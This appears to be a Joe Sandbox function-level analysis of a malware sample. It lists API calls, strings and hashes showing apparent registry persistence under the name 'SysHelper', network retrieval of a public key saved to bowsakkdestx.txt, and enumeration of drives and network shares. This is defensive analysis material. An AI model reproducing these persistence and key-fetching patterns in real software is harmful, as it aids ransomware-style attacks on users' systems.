Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789abcdef, xrefs: 004574C4
+, xrefs: 00457475
, xrefs: 00457482
0123456789ABCDEF, xrefs: 004574D6

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004306EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

___unDName.LIBCMT ref: 0043071B
_strlen.LIBCMT ref: 0043072E
__lock.LIBCMT ref: 0043074A
_malloc.LIBCMT ref: 0043075C
_malloc.LIBCMT ref: 0043076D
_free.LIBCMT ref: 004307B6

Part of subcall function 004242FD: IsProcessorFeaturePresent.KERNEL32(00000017,004242D1,i;B,?,?,00420CE9,0042520D,?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C), ref: 004242FF

_free.LIBCMT ref: 004307AF

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 36539338cfbcad0928be78389f669657de3690c66bdbd94f98a67f280fd4e95b
Instruction ID: 67f118bcdaa5faec8c00adc58c02bfbdeebce6865ed580ae06d436c8457e8144
Opcode Fuzzy Hash: 36539338cfbcad0928be78389f669657de3690c66bdbd94f98a67f280fd4e95b
Instruction Fuzzy Hash: 3121DBB1A01715ABD7219B75D855B2FB7D4AF08314F90922FF4189B282DF7CE840CA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

error:%08lX:%s:%s:%s, xrefs: 00450792
reason(%lu), xrefs: 00450758
lib(%lu), xrefs: 0045071C
func(%lu), xrefs: 00450734

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463097
phrase is too short, needs to be at least %d chars, xrefs: 00463070
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
